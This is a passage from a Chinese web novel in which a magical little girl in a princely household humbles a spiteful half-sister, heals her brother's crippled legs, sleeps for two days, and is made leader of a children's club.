他猛地一咬舌尖,趁着剧痛的刺激,左肩微沉,使足了力气意图带动左腿向前迈出一步,同时右腕一抖,一招“流星赶月”本该随之疾进。 可是,意念到了,那股力量却在中途溃散了。 重心一空,整个人仿佛被无形的巨斧劈成了两段,完美运转的上身此刻成了沉重的负担,带着失控的狼狈,他猛地扑倒在地。 “哐当!”一声刺耳的金属摩擦石板的锐响,承影脱手飞出,在地上弹跳了几下,寒光黯了下去。 “少爷!”七星急忙扑过去将他搀扶起来。 尘土飞扬,雪白的衣裳沾上了一层灰尘,先前所有的气势和尊严,在这一摔之下,碎得干干净净。 “啊……”树后的萧宁珣捂住了团团刚欲出口的惊呼,在她耳边轻声说道:“嘘,别出声,团团,这是咱们的二哥萧宁辰。” 团团点了点头,原来是二哥哥啊!二哥哥的腿怎么这样了呢? 萧宁珣给她解释:“二哥原本是咱家武功最好的,天赋极高,从小就名动京城,可惜,几年前,二哥的腿突然生了怪病,没了力气,走路都必须有人扶着。” 萧宁珣心里很疼:“自此以后,二哥便沉默寡言,再没碰过爹爹给他的那把宝剑了。” “咱们走吧,他肯定不愿意让咱们看到他这个样子。” 二人在花园中游玩,无意间看到了萧宁辰正在练剑,萧宁珣了解自己的二哥,便拉着团团躲在树后,默默看着,不想惊动他。 团团似懂非懂的看了他一眼,听话地点了点头,又不舍地看了眼萧宁辰,二哥哥摔倒了,肯定很疼吧,好可怜哦! “啧啧,明知道自己现在跟瘸子一般无二,居然还偷偷练剑?二哥现在这个狼狈的样子,若被外人瞧见,王府的脸都要被给你丢净了。” 一道清亮的女声响了起来。 萧宁辰闻言脸色更加惨白,却没有开口反驳,咬紧了牙关未发一言。 “四小姐!你怎能这样说少爷!”七星愤愤不平。 “住嘴!你一个小厮,怎敢如此无礼,质问小姐!“萧宁姝身后的一个婢女大声训斥了七星一句。 “何必多言,海棠,给我掌他的嘴!我不喊停,不许停下!” 刚才出声的那个脸蛋圆圆的婢女走到七星面前,高高地抬起了手便要落下。 萧宁姝扶着另一个尖脸的婢女春桃,缓缓走过来,站在了海棠身后。 萧宁辰脸色一沉:“我看谁敢!“ 海棠的手垂了下来,回头看向萧宁姝。 萧宁姝哼了一声:“我是宁王府的四小姐,他不过一个小厮下人,对我出言顶撞,怎么?我连一个下人都罚不得了?“ “跪下!“她对着七星一声厉喝,七星无奈,跪倒在地。 萧宁姝瞄了他一眼,慢悠悠的道:“二哥,你我同为庶出,地位一样,你既然不会调教,宽纵下人,我便帮你教导教导他,何为上下尊卑!“ “海棠!还等什么?给我打!“ 七星心知这位四小姐被方侧妃从小骄纵惯了,对下人素来便是如此,自己这顿打是躲不掉了,他咬了咬牙,闭上了眼睛,等待着脸上即将落下的巴掌。 第17章 二哥哥的腿好啦 “哇哦!原来,你不是嫡女啊!“团团牵着三哥的手,从树后走了出来,这个坏姐姐跟那个黑婆婆一样一身的黑气!嘴还这样坏!我偏不让你打! ”我是嫡女,我说不让打。“她抬起小脑袋看着萧宁珣:“三哥,可以吗?“ 萧宁珣柔声道:“可以啊,团团是嫡女,当然可以。“ 萧宁姝脸色一变,狠狠地盯着团团:“原来,你就是那个捡来的野种!“ 萧宁珣脸色一沉:“四妹慎言!团团是祖母叩拜过祖宗,亲定的王府嫡女,你一庶女之身,岂可出言侮辱?“ 萧宁姝脸上青白不定,论礼法,萧宁珣所言确实如此,也罢,这笔账暂且记下,改日再算:“罢了,本小姐才不与这奴才一般见识,咱们走!“说完转身便走。 两个婢女瞪了一眼团团,连忙跟在了她身后。 七星站起来,小跑着弯腰捡起承影,仔细擦拭,这可是少爷的宝贝啊。 团团看了看脸色依旧惨白的二哥,不行,这个坏姐姐这样欺负二哥哥,必须得给二哥哥出口气! 她低头打开了腰间的绣囊,掏出了一截断了的风筝线,那是她昨日才刚捡来的宝贝。 抬了抬小下巴,她冲着萧宁姝的背影扔了出去:“绊她!“ 风筝线瞬间在空中消失无踪。 萧宁姝裙摆一荡,脚尖像是被什么东西勾住了,身子瞬间前倾“啊!”的一声惊呼,整个人拍在小径的青石上。 “小姐!“海棠和春桃急忙过去拉她,她扶着婢女的手,顺势预起,脚腕处一阵钻心疼痛传遍全身,又坐倒在地。 团团侧着头看她,一本正经地问:“脚脚痛吗?以后不许再说二哥哥是瘸子了。否则,你说一次,就会摔一次!” 萧宁姝回头看着她:“你!“气得说不出一句整话。 海棠和春桃用尽全身的力气,才将她扶起,三人缓缓离开。 七星上前一步,给团团行礼:“多谢小小姐救了奴才!“ 团团掸了掸小手:“没事儿啦!谁让她不讲理,先欺负二哥哥,又欺负你嘛!“ 说完,蹦蹦跳跳地来到萧宁辰的身边,拽了拽他的衣角:“二哥哥!我是团团!你的妹妹团团!二哥哥刚才,像跳舞一样,真好看!“ 萧宁姝是如何摔倒的,兄弟二人都清清楚楚的看见了,此时二人对视了一眼,虽然都震惊不已,却都默契地没有去提。 萧宁珣心中更是弩定,团团定是一个小神仙! 萧宁辰则低头看着这个小妹妹,脸上的酒窝分外亲切,和母亲的一模一样。 心中一阵暖流流过,这个妹妹,真是太可爱了。 他几乎忘记了刚才摔倒的狼狈,伸出手摸了摸团团的小脑袋:“团团,二哥谢谢你。“ 团团笑得一脸灿烂:“二哥哥,你的腿还痛不痛啊?我扶你回去好不好?“ “好。“ 七星赶忙扶住了他的右臂,团团则努力扶着他的左手。 萧宁辰将身体向七星微倾,怕自己的重量压到她,萧宁珣默默地跟在他们身后,几人走进了萧宁辰的住所,辰振轩中。 萧宁辰进到内室更衣,团团第一次来这里,好奇地在屋中走来走去,摸摸这里,碰碰那里:“三哥哥!二哥哥这里有好多东西,跟你的珣玉斋不一样哦!“ 萧宁珣指着墙上挂着的弓箭告诉她:“这是二哥九岁时爹爹给他的弓箭,二哥在演武场上用它参加比赛,百步穿杨,拿了头名。“ “那是二哥十二岁时用的环首大刀,春猎时,二哥用它猎到了一头好大的黑熊呢!“ “哇哇哇!二哥哥真厉害啊!”团团听得两眼放光。 “三弟,不提那些了,你们坐。”萧宁辰重新换上了一身白袍,扶着七星走了出来,坐在椅中,整个人干干净净,气质出尘。 团团跑到他的膝前,搂着他的腿,抬起头:“二哥哥!你的腿,是玩的时候,摔坏的吗?” “团团!”萧宁珣知道二哥最不喜别人提起他的腿疾,连忙喊了她一声。 萧宁辰摆了摆手:“不必如此忌讳,都已经过去好几年了,我也习惯了。” 萧宁珣心中一酸,你怎么可能习惯!二哥,看你刚才仍旧在偷偷练剑,就知道,你是多么希望自己的双腿还能恢复了。 萧宁辰低头看着趴在自己膝头的团团,轻声道:“二哥的腿,不是出去玩摔的,是突然就没了力气了。” “老爷爷也治不好吗?老爷爷很有本事的,他说,爹爹的病都快好了呢!” 萧宁辰一怔,老爷爷?哦,妹妹指的一定是常来王府的郭太医:“老爷爷也没能治好。二哥哥这腿,恐怕今生今世,便只能如此了。” 萧宁珣不忍:“二哥!你不要这样说,爹爹的病那样重,现在都快好了,你的腿一定也能好的!对不对?团团?” 团团此时已经坐在了萧宁辰椅前的脚踏上,两只小手扒着他的双腿,听到这话,看了眼三哥,又看了眼二哥。 “对啊!二哥哥的腿一定能好!团团帮你!” 萧宁辰因为刚才那一摔,腿上还有些生疼,一边轻轻揉着,一边对着她微微一笑:“团团怎么帮二哥哥啊?“ 团团抱住他的膝头,吹了一口气:“团团吹吹,痛痛飞飞。”说完还用两只小手在他的腿上慢慢抚过,从膝盖摸到脚踝。 萧宁珣笑了,刚想说话,却看到二哥的脸色突然变了。 萧宁辰目光闪烁,神情肃然。 这是什么?绝对不是自己的错觉! 那双小手,掌心触及之下,一股完全陌生的暖流,如同被春阳晒得最暖的溪水,温和却不容抗拒地渗了进来! 所经之处,盘踞在他双腿深处,蚀骨啃髓般的滞涩,竟像是冰雪遭遇了烈阳,开始飞速消融! 一种深入骨髓的、令人战栗的麻痒从皮肉深处钻出来,像是万千沉睡已久的生机被强行唤醒,正在争先恐后地破土重生。 这痒意如此剧烈,让他几乎要忍不住攥紧了双拳,痒劲过后, 那股暖流像是冲破了什么阻碍,越来越汹涌,如同洪水决堤,在他的经脉里奔腾冲撞! 每一寸被暖流冲刷过的地方都像是干涸的土地贪婪地吸收着甘霖,变得渐渐充满了力量。 萧宁辰脑中一片空白,巨大的震撼和狂喜令他浑身剧烈地颤抖起来。 他几乎是凭借着本能,猛地一用力,站了起来。 再没有以前的瘫软,他的双腿稳稳地撑住了身体,前所未有的轻盈和坚实的感觉从脚底直冲头顶。 “二哥!“萧宁珣冲过来,想扶住他,却在看到二哥一脸的惊喜时停了下来。 二哥他,没用人扶,自己……站起来了? 第18章 睡着啦,叫不醒的那种 萧宁辰难以置信地低下头,看着自己的双腿,而后目光落在了膝前那个似乎完全不知道自己做了什么,只是眨巴着大眼睛望着他的小不点。 无边的惊骇、灭顶的狂喜,和一种近乎恐惧的敬畏,瞬间淹没了他。 萧宁辰眼皮微颤,指尖收紧,俯身将团团抱在了怀里。 团团稳稳地坐在他的臂弯里,眼睛亮得要命。 萧宁辰抱紧了她,缓缓地踏出了一步,两步…… “少爷!“七星从外面端着茶走进来,看到眼前的情形,一声惊呼,手中的茶盘落在了地上。 萧宁辰的脸上绽放着光彩,在屋里又来回踱了几步,突然,他脚背横扫向桌腿,“喀”的一声,桌角的木榫被他踹得裂开了一条缝。 团团看得高兴,小手不停地拍着巴掌:“二哥哥的腿好啦!二哥哥的腿好啦!“ 她咯咯直笑,得意非常:“痛痛怕我,它飞走啦!” 萧宁辰将她抱得更紧,小脑袋贴着自己的肩头:“是啊!团团真厉害,把二哥哥的痛痛赶跑啦!“ “以后,团团想去哪里玩,二哥哥都陪你去!想吃什么吗?京城最有名的点心铺子巧酥阁里甜食味道最好,二哥哥给你都买回来!“ 团团打了个哈气,搂着他的脖子:“团团好困哦,二哥哥,我想睡一会儿,睡醒了再去吃点心。“ “好!好!就在二哥哥这里睡一会儿好不好?睡醒了带你去买点心!“ “好!“团团乖巧的应了一声,趴在他的胸口,几乎是一瞬间,便睡了过去。 “七星,去往床上多铺一层被子,将帘子都拉上。“ “是!“七星赶紧将一切收拾妥当,萧宁辰这才轻轻地把团团放到了床上,又细心地给她盖好了被子。 兄弟二人走到外间,互相看了一眼:“七星,再去煮一壶好茶。“ “是!二少爷!“主子有话要说,七星会意,走了出去。 屋内只有兄弟二人了。 萧宁珣这才赶忙问了出来:“二哥!你的腿,真的全好了?“ 萧宁辰缓缓坐下,手落在膝盖处轻揉:“并未全好。方才踢了那一脚后,如今脚背抽跳,这里有些酸胀。不过,我相信,只要今后勤加练习,恢复如初指日可待。“ “团团真是太不可思议了!二哥!我现在也不怕在生人面前说话了,人再多都不怕了,也是多亏了她呢。“ “哦?“萧宁辰挑眉:”怎么回事儿?“ 萧宁珣将当日之事一一道出,萧宁辰脸上的惊讶之色更甚。 “方才四妹妹摔倒……“他看了一眼弟弟,将剩下的话咽进了肚子里。 “嗯。“萧宁珣点了点头,”二哥也看到了?你说团团是不是一个小神仙啊?自从她来了以后,爹爹和你我的病都越来越好了。“他脸色突然一变:“不好!七星刚才……?” “无妨,当时七星正背对着咱们,擦拭承影,没有看到。你说爹爹?“ 萧宁珣又讲了半晌,才将这些日子王府中的事情都讲了一遍。 听到团团被方清研诬陷,萧宁辰的目光陡然冷冽,萧宁珣都不禁打了个寒战。 又听到雪豹,夜明砂,萧宁辰的脸色则是一副原来如此的模样。 “三弟,团团身上的事,太过匪夷所思,若传了出去,恐会给她招来祸患,你我二人务必要守口如瓶才好。“ “一定!一定!我懂。“萧宁珣不停点头:”无论团团是哪一路的神仙下凡,都已经是咱们家的人了,自然是要护好她! 二人聊了足有半个多时辰,萧宁珣看了看外面的天色:“团团还没醒?再晚了巧酥阁都要打样了,二哥,咱们把她叫起来吧。” 兄弟二人走到内室,只见团团一动不动,还是刚才萧宁辰将她放下时的姿势,不禁相对一笑:“睡得真沉。“ 萧宁珣握起她的小手:“团团?醒醒吧,再不醒,好吃的点心就要被别人买光啦。“ 手腕细软,乖乖地躺在哥哥手中,纹丝未动。 萧宁辰唇边露出一抹微笑:“团团,起来吧,二哥带你去买这京城最好吃的点心,吃完了再睡。” 团团依旧安静。 兄弟二人互相看了一眼,都在对方眼中看到了一丝惊疑,二人迅速都坐到了床边,萧宁珣把团团连同被子一起抱了起来,大声呼喊:“团团!团团!” 小小的脑袋无力地垂了下来,二人心中都是一紧。 又呼唤了数声,团团还是没有任何回应。 “二哥!团团她……”萧宁珣声音颤抖,眼泪涌进了眼眶,这些日子团团整日跟他黏在一起,早已成了他最爱的小妹妹。 比那个从小一同生活在王府的萧宁姝还亲近百倍。 萧宁辰怕自己的腿力道不行,用被子把团团包成了个卷,放到弟弟怀里:“抱稳她!去静兰苑!“ 兄弟二人以最快的速度跑进了母亲的院子里,“母亲!团团!我们叫不醒她!“ 程如安看见团团的模样,心中大痛,几乎站立不稳:“来人!去请郭太医!“ “我腿脚快,我去!“萧宁珣冲了出去。 郭太医跨进静兰苑时,老夫人,程如安,萧宁辰都坐在团团团的床边,他刚想行礼,便被老夫人拦住:“不必拘礼,赶紧给我孙女看看。“ 郭太医急忙给团团诊了脉,半晌后,他捻着胡须,摇了摇头:“小小姐脉象沉稳,不似有病啊。” “那她为何沉睡不醒?难道……王爷……“程如安不敢想下去,丈夫便是这般突然人事不知,难道女儿也要如此吗? “请王妃宽心,小小姐只是睡着了而已。” 郭太医面露疑惑,宁王府这一家子怎么全是怪病:“虽然奇怪,但依老夫所断,并非疾病,倒像是,因为什么,耗多了心神所致。” 萧宁辰和弟弟互相对视了一眼,心中已有了猜测。 郭太医起身行礼:“让她继续睡吧,老夫开一副补心的方子,待她醒来给她服下几剂,应该便无大碍了。“ 老夫人点了点头:“有劳太医了。“手中紧握的念珠松开了:”祖宗保佑!“ 程如安拭了拭脸上的泪水,把锦被给她掖好,“乖团团,睡饱了赶紧醒啊,别吓娘亲。“ 郭太医走后,程如安看着两个儿子:“你俩有事?辰儿你,怎么没让人扶?七星呢?” 她刚才心急如焚,现在才来得及细问。 萧宁辰看了弟弟一眼:“不必隐瞒。“ 于是,二人你一言我一语,将事情说了一遍。 老夫人和程如安惊喜异常,萧宁辰的腿,自三年前突发恶疾后,请了多少大夫都束手无策,没想到只一夕之间,便被团团治好了! 惊喜过后,二人也明白了:“原来如此,团团是为了治你的腿,才耗费了心神,沉睡不醒。” 她看了老夫人一眼,老夫人道:“自家儿孙,不必隐瞒。” 程如安将老夫人的眼疾和玲珑净厄珠的事情告诉了两个儿子。 老夫人道:“神仙真人!团团真是祖宗显灵赐给咱家的福星,自她来了以后,王府诸事见好,今后你们都要将她视为骨肉至亲,加以爱护。” “但对外人,断断不可提到团团的异常之处。” 几人纷纷郑重点头。 “母亲请回听雨阁歇息吧,我和孩子们守着她,您年岁已高,若熬出病来,晚辈们心下难安。” 老夫人点点头:“团团醒了,马上派人来告诉我。” 这一夜,兄弟二人无论如何也不愿意离开静兰苑,不错眼珠地盯着团团。 程如安见状也不再劝阻,干脆跪到了祠堂里,烧香祷告。 老夫人在听雨阁中坐卧难安,最后干脆起来,将《北斗经》取了出来,抄了一宿的经书。 次日晨起,团团依旧未醒。 一家子正围坐在团团的床边,下人在外禀告:“吏部侍郎家的二公子在外求见……小小姐。“ 第19章 摸到了老爷爷的胡子 众人都抬起了头,有些不明所以,程如安问:“陆家老二来找团团做什么?“ 萧宁珣站起身:“团团同他在万灵苑见过一次,祖母,母亲,不必理会,我去看看。“说罢转身走了出去。 来到大门口,只见陆清嘉正站在马车前,身后跟着两个下人。 见到萧宁珣,他马上笑着迎了上来:“萧兄!我来找你妹妹,带她一起去万灵苑看雪豹!带了一箱子肉干呢!我今日定要摸一摸它!“ 寸步不离他的小八哥接着话尾巴喊:“雪豹!雪豹!“ 萧宁珣暗暗皱眉,脸上却不动声色:“团团昨日受了风寒,正在养病,你改日再来吧。“ 陆清嘉一听,像泄了气的皮球一样脸色垮了下来:“哦,真是不巧。好吧,那我改日再来,告辞了。“ “告辞。“萧宁珣转身刚要走,”等一等!“ 回头一看,陆清嘉从马车里取出一只锦盒,将盒子往他手中一塞:“这是我才刚新得的玩意儿,叫什么九曲金波。” “你帮我带给你妹妹吧,她年纪小,生了病肯定闷得慌,正好拿来取个乐。“ 萧宁珣低头看了一眼锦盒,心中不快,团团是我的妹妹!这个小子惦记什么!嘴上却并未失礼:“多谢了。“ 陆清嘉高兴起来:“这一趟没白来!你可一定要交给她啊,萧兄,我下次来会亲口问她的。“ “知道了知道了,告辞告辞。“萧宁珣拱了拱手,不再搭理他,转身回去了。 回到静兰苑,他随手将锦盒放在了百宝阁上。 郭太医再度被请了过来:“与昨日一样,睡一睡便好。” 纵然他如此解释,程如安的眼泪依旧流了下来:“团团啊,还没睡够吗?快点儿醒过来吧,娘亲都快急死了。“ 次日,天刚蒙蒙亮。 团团“嗯”了一声,伸了个大大的懒腰,迷迷糊糊地睁开了眼,看见娘亲正闭着眼睛趴在自己床边,像是睡着了。 她伸出小手,摸了摸程如安的头发:“娘亲,你怎么不上床来睡啊。“ 程如安猛地睁开眼,握住了她的小手:“团团!你终于醒啦!哪里不舒服吗?告诉娘亲?” 萧宁辰和萧宁珣兄弟俩也马上也扑了过来:“团团!你好吗?有没有什么地方难受?” 团团眨了眨眼,低头看了看自己:“我很好啊!睡得饱饱的!二哥三哥!你们也在?娘亲,我饿了。” 程如安喜极而泣:“来人!快!小姐饿了!对了,快去回禀老夫人!” 程如安给她穿好衣服,萧宁辰将她一把抱了起来:“走,二哥带你去吃饭!” 一想到团团是因为自己的腿才睡过去这么久,萧宁辰心疼得无以复加,这两日,仿佛总有无数根细针密密麻麻地在自己的五脏六腑上不停地扎,让他又急又痛。 幸好!她终于醒过来了。 老夫人也匆匆赶了过来,这顿早膳,团团在几个大人贪婪的注视中,吃了很多很多。 程如安还是不放心,又将郭太医请到了王府。 郭太医给团团诊完了脉:“诸位不必担心,小小姐的身子好着呢!不过,居然能睡这么久,老夫也当真是从没见过。” 程如安眼神微动:“小女顽皮,想来是玩得太久,有些脱力罢了。” “老爷爷,我病了吗?”团团盯着他胸前飘着的胡须,眼珠子一转。 “没有没有,什么病都没有!不过,我开的药,还是请小姐按时服上几日才好。” “药药很苦!我不吃!”团团一本正经地摇头。 “小孩子要听话哦!药是一定要吃的。”郭太医看着她粉嫩的小脸,笑着哄她。 “可是,我不想吃捏!”团团鼓起了小嘴。 郭太医犯了难,求助地望向程如安。 程如安刚想开口,团团抢着道:“除非……老爷爷让我摸一摸你的胡子!” 郭太医一楞,随即便笑了:“原来,小姐是这个心思。好吧,便让你摸摸看,” 团团一听,乐了,两只小手摸上了郭太医花白的胡须:“哇哦!老爷爷,你的胡子好软啊!比雪豹的毛毛还软!” 大人们都笑了。 郭太医走后,虽然大家都希望团团能好好休息,但她已经睡了那么久,哪里待得住。 只是,程如安不让她出房间,她便只能在屋子里玩了。 团团虽然不乐意,这一次却没能拗得过王妃,但好在还有两个哥哥陪着。 突然,百宝阁上从没见过的锦盒,引起了团团的注意:“那是什么?” 萧宁珣取下锦盒递给她:“是那天在万灵苑遇见的陆清嘉,送给你的,我也不知道是什么东西,打开看看?” “嗯!”团团把锦盒放到脚踏上,打开一看,只见里面装着一方白玉琉璃池,池子里躺着两尾浑身金鳞,镶嵌宝珠的小鱼。 团团眼睛都瞪大了:“哇哦!真好看啊!这是送给我的?”伸出小手摸了摸鱼儿,又摸了摸白玉池,一副爱不释手的样子。 萧宁辰和萧宁珣见了,彼此对视了一眼,心中都不约而同地懊悔,怎么就没想到给团团多搞一些这样精巧的玩意儿呢!倒让个外人抢了先! 像是在回答她的提问,下人的声音从门外传来:“吏部侍郎家的二公子又来了,求见小小姐!” 团团指了指自己:“见我?” 萧宁珣皱了皱眉,怎么又来了!“就是送你这礼物的,那个总带着一只八哥鸟的小子。” 团团眼睛一亮:“八哥!我喜欢那只小鸟!” 萧宁辰道:“请他进来。” 片刻后,陆清嘉身穿淡蓝衣袍,眉眼飞扬地走了进来。 人还没到,小八哥的声音就已经传了进来:“这事儿我熟!熟熟熟!” “哎哟!你们都在啊!” 团团坐在萧宁辰的怀里,盯着那只小八哥,眼睛都亮了。 三个少年互相拱手行礼。 萧宁珣抢先开口:“我妹妹身体刚好,去不了万灵苑。” “我今日登门,只是探病,并非要带令妹去万灵苑。不过,也确实有一要事。” 陆清嘉从袖子里抽出一张小小的拜帖,递给了团团。 萧宁辰接了过来,只见拜帖封面上写着“请盟帖”三个大字。 打开再看:“少年游盟会,愿奉宁王府小小姐团团为小盟主。 陆清嘉谨上。” 第20章 做了小盟主 萧宁辰嘴一撇:“少年游盟会?什么玩意儿?怎么还要找团团当盟主?” 陆清嘉看着团团:“小团团,我有好几个一起长大的玩伴,都特别喜欢动物。上次你在万灵苑中收服那雪豹,我回去告诉了他们,他们都羡慕得不得了。” “我们一商量,打算成立一个少年游盟会,尊你为盟主,以后,大家一起去玩,你喜欢不喜欢?” 团团没听懂:“盟主是什么啊?” “盟主就是,咱们这个少年游盟会的头头!只要你说话,我们都听你的!因为你是盟主嘛!” 团团兴奋的手舞足蹈:“耶!我当盟主啦!” 萧宁珣哼了一声:“陆二,为了能让团团以后陪着你们去万灵苑,你可真没少下工夫。” 陆清嘉讪讪一笑:“我有礼物啊!抬上来!让你们看看我是不是诚意满满!” 两个下人抬了一个大箱子进来,放在地上,打开了盖子。 彩绘风筝、竹蜻蜓、琉璃弹珠……全是送给团团的玩意儿,把团团看得眼花缭乱,兴奋得脸都红了,趴在了箱子边上,小手在里面不停地扒拉着。 萧宁辰和萧宁珣的脸登时都黑了,这个臭小子!刚想给团团买光所有她能玩的玩意儿,他竟然就都送来了! 陆清嘉蹲下身子:“怎么样?小团团?愿不愿意做盟主?” “做做做!”团团头都没抬,就答应了。 八哥跟着大叫:“做做做!” 团团抬起了头,伸手去摸它,陆清嘉往后一躲:“别,不熟悉的人,它会咬。” 萧宁辰一听,急忙将团团抱了起来,瞪了陆清嘉一眼,这么危险的东西,居然敢带进来! “不嘛,二哥哥,放我下来,我想摸。让我摸嘛,它不会咬我的。“团团不干了。 萧宁辰无奈,只得将她放在了地上:“陆二,它若是敢咬团团,我马上就拿它去炖汤!“ 陆清嘉让小八哥站在自己的手指上,哆哆嗦嗦地靠近了团团,“千万别咬啊,否则就进锅了。“ “小鸟鸟,你要乖哦,我是团团。你好聪明啊!会说那么多话,我摸摸你好不好?不要咬我哦!“团团一边碎碎念,一边伸出一只小手,慢慢靠近了它。 小八哥歪了歪脑袋,没等团团的手伸到,就主动蹭了过去。 团团开心了,直接双手抱住了它,陆清嘉一声惊呼:“别!“ 团团却已经把小八哥捧在了手里:“小鸟鸟!你喜欢我,对不对?“ 小八哥用嘴在她的手上来回地蹭着,非常享受地任由团团抚摸着它光滑的羽毛,扯开了嗓子大叫:“喜欢!喜欢!“ 陆清嘉看得目瞪口呆:“天哪!我这样做它都会咬我!团团,你太厉害啦!不不,盟主!请受我一拜!”说完还真的冲团团行了个礼。 团团歪着小脑袋想了想,虽然,搞不懂当了这个盟主要做什么,但是,人家送了这么多好玩的给自己,刚刚也已经答应了,就这样吧:“好!” 她继续抚摸着小八哥:“它叫什么名字啊?” 陆清嘉一怔:“名字?它只是一只鸟,没有名字。” 团团不高兴了:“这么可爱的小鸟,怎么连名字都没有?” “就叫它……”她想了想:“小话梅!他的眼睛黑黑的,亮亮的,身上香香的,像娘亲给我吃的话梅糖!” 陆清嘉乐了:“好!听盟主的!以后它就叫小话梅了!” 团团摸了摸小话梅的脑袋:“小话梅,你喜不喜欢我给你取的名字啊?” 小八哥扯开了嗓子大喊:“小话梅!小话梅!” 团团开心地将它放在脸颊上贴了贴,抬头望着两个哥哥:“它喜欢这个名字呢!哥哥!“ 转过头一本正经地告诉小话梅:“你叫小话梅,我叫团团哦!“ 小八哥一双黑亮的小眼睛望着她:“团团!团团!团团!“ 团团兴奋得不行,使劲在它的小脑袋上亲了一口。 兄弟二人一脸的姨母笑,妹妹怎么能这么可爱!这么可爱的妹妹是我家的! 陆清嘉看到了脚踏上打开的锦盒:“盟主!这可是个稀罕东西,我好不容易得的呢!来,我教你怎么玩。“ 萧宁辰脸一沉:“团团还在养病,你也待够了,回去吧。“ 萧宁珣更是直接将他一把拽了起来:“走,陆二,我送你。“ 陆清嘉无奈地被他拉着往外退,团团松开了手,小话梅飞到了他的肩上,他边退边喊:“盟主!七日之后!咱们一起出去玩,别忘了啊!” 萧宁珣替妹妹回答:“知道了!知道了!赶紧走吧你!” 把陆清嘉“扔“出了王府,兄弟二人陪着团团,玩起了堆成小山的玩意儿,团团清脆的笑声回荡在静兰苑的每个角落。 程如安看着自己的三个儿女玩成一团,忍不住唇角勾了起来。 此时的听雨阁,下人低声通传:“萧文礼少爷人在府外,求见老夫人。” 老夫人眼神一暗:“让他进来吧。” 顺姑轻声道:“老夫人莫要哀伤,三爷虽已不在,但文礼少爷天资聪颖,学业精进,也是三房的福气了。” 老夫人长叹一声:“我这两个儿子,虽都是嫡子,却天差地别。老大功勋卓著,老三却文不成武不就,身子还弱,早早便去了,只留下文礼这么一个庶子。“ “唉,我每每看到文礼,便想起他的父亲,心中难受得紧。” “这孩子也是可怜,母亲难产而亡,父亲早逝,我本想带在身边,好生教养,偏生这孩子性子冷淡,同谁也不亲。启蒙后便送去了凌云书院,跟王府情分淡薄。” “如今他也大了,我不指望他光宗耀祖,只盼着他能挣得一份安身立命的功名,衣食无忧,平安顺遂的度日,也就罢了。总好过他父亲那般……罢了,不提了。” 正说着,一个少年一身青布直裾,身子笔直地走了进来,规规矩矩地行了礼,呈上一纸师训信札:”给祖母请安。“ “国子监内有几位致仕的老翰林明日起公开讲学,专为指点有志于秋闱的学子。蒙学中师长不弃,推荐孙儿入内旁听。“ “故而今日特来禀明各位长辈,明日起,孙儿便入住国子监了。他日若侥幸得中,亦可光耀门楣。“ “起来吧。”老夫人看着他:“既如此,去辞过你几位长辈,便去吧,莫要太过劳累,自己注意身子。” 萧文礼磕了个头:“孙儿谨记。” 随即起身站起:“孙儿告退。“ 静兰苑中,团团正和哥哥们一起玩着陆清嘉送的那个九曲金波。 萧宁珣惊叹:“母亲,团团真聪明!一看就知道这东西该怎么玩!我都看不明白。” 萧宁辰也有些惊讶:“这小玩意儿竟然暗含机关,我也没看懂,团团居然摸了两下就知道怎么玩了。” 听着两个哥哥的夸奖,团团得意洋洋地摇起了小脑袋。 程如安一脸微笑的坐在一旁。 萧文礼走进来时,看到的正是这样其乐融融,温馨无比的情景,想到自己自幼失怙,孤苦伶仃,他心里一堵,如同被针刺了一下。 第21章 爹爹醒啦!爹爹不要崽崽! 萧文礼心中不快,面上却没动声色,冲着程如安行了一礼:“伯母金安。” “快起来,文礼怎么过来了?“程如安柔声请问。 萧宁辰和萧宁珣两人起身对他拱手。 萧文礼站起后向兄弟二人拱手行礼,将要去国子监的事情告诉了程如安。 程如安不停点头:“好!好!文礼如今真是出息了。刘嬷嬷,去账房,取二百两银票给他,再去库房,挑几身他合身的衣裳,棉的薄的都要,给他带上。“ “是。“ 程如安想了想,又嘱咐了一句:“科考艰难,求学不易,尽力便好,不要委屈了自己。“ “多谢伯母厚爱,侄儿记住了。“ 团团望着这个陌生的少年:“你是谁啊?“ 程如安赶忙给她解释:“这是你堂哥,萧文礼。文礼,这是我的女儿,团团,你们还没见过呢。“ “堂哥?“团团跑到萧文礼面前,仰起了头,这个哥哥虽然不如二哥三哥好看,但也不错啦!自家的哥哥都挺好看,比那个陆清嘉强! 她鼻尖耸动,凑过去使劲嗅了嗅:“糖哥?没有糖的味道啊!” 萧宁珣笑了:“这个堂哥,不是糖做的哥哥,是三叔的儿子,论辈分,也是你的哥哥,但不是爹爹的儿子,所以叫堂哥。” “哦!”团团明白了:“堂哥!我是团团!娘亲的女儿,你以后,要多来找我玩啊!” 她转头看向程如安:“娘亲!堂哥要去做什么?” “你堂哥书读得好,要去京城最好的书院里读书,考试。” “什么是考试?”团团很认真地问。 “考试啊,就是很多人,写同一道题目,然后由先生们评出等级,等级高的就往上走,等级低的就要重新读。” “很难吗?” “对啊,很难的。” 团团“唔”了一声,点了点头,转身跑到桌边,抓了一把碟子里的桂花糖,又跑回萧文礼面前,将手中的糖举得高高的,踮起小脚,递给他:“堂哥!给你!” 萧文礼愣了一下,接了过来,低头看着那双亮得没心没肺的大眼睛,眼波澄澈,一派天真。 不由得心里一动,身上那层他从不肯卸下的防备,如同被掌心的糖融化了几分,低声道:“谢谢你。” 程如安看在眼里,脸上笑意更深:“刘嬷嬷已把东西都交给门外你的小厮了,去吧,若有事,记着要遣人来回禀,不要委屈了自己。” 萧文礼再度行礼:“侄儿记住了。“ 离开了静兰苑,他脚步顿了顿,走进了凌霜阁。 相比起静兰苑中的热闹,凌霜阁里静悄悄的。 “给姨娘请安。“ 听他禀明了来意,方清研微微一笑:“你自幼住在书院,吃了不少的苦,如今眼看着就要熬出了头,我也替你高兴。“ “唉,老夫人总是偏着大房,你莫要放在心上。他日你金榜题名,撑起三房的门楣,才不愧对你早逝的父母。” “依照礼数,我本该送你些东西,贺你学业有成。” “不巧前些日子,王妃姐姐寻了个由头,竟将我院内的份例克扣了一半,姝儿如今又回来了,我这个姨娘手头没有丝毫的富裕,竟不能给你备一份像样的贺礼。” 说罢,她抬起锦帕,轻轻拭了拭脸上那毫无踪迹的泪水。 萧文礼听后并未接话,脸上没有丝毫波澜。 方清研面上一僵,独角戏有些唱不下去。 内室脚步声轻响,海棠和春桃扶着萧宁姝走了出来。 她的脚仍然疼痛,虽然有婢女搀扶,走得还是有些艰难,看见萧文礼,勉强行了个礼:“见过堂哥。“ 萧文礼点了点头,瞄了一眼她的脚,随即目光收回:“妹妹这是?“ 